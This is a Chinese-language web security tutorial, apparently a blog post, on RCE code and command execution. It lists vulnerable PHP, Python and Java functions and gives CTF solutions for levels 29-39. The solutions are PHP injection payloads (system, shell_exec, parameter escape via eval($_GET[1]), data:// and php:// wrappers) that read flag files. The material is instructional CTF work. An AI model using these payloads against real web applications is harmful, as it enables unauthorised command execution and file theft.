WEB攻防-通用漏洞&RCE&代码执行&命令执行&多层面检测利用

目录

知识点

1、RCE执行-代码执行&命令执行

2、漏洞

3、举例

CTF例题

CTF-29

CTF-30

CTF-31

CTF-32到36

CTF-37到39


知识点

1、RCE执行-代码执行&命令执行

代码执行:利用脚本代码解析执行-将字符串以代码解析执行

命令执行:利用脚本调用操作系统命令-将字符串放在系统命令中执行

2、漏洞

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

3、举例

<?php

//eval代码执行

eval('phpinfo();');

//system命令执行

system('ipconfig');

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等

CTF例题

CTF-29

system('tac fla*.php');

 存在eval很明显的命令执行漏洞,通过c变量传递指定参数,进行命令执行

 

 

CTF-30

echo shell_exec('tac fla*.ph*');

该关过滤了system,那么直接换个指令函数即可

CTF-31

思路:该可以利用参数逃逸,参数逃逸--当代码对c参数进行过滤时,那么可以让c参数包含另外一个参数,再利用包含的参数执行命令eval($_GET[1]);&1=system('tac flag.php');

 

CTF-32到36

32题到36题方法相同,只展示其中一题

include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

CTF-37到39

data://text/plain,<?=system('tac fla*');?>

php://input post:<?php system('tac flag.php');?>

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值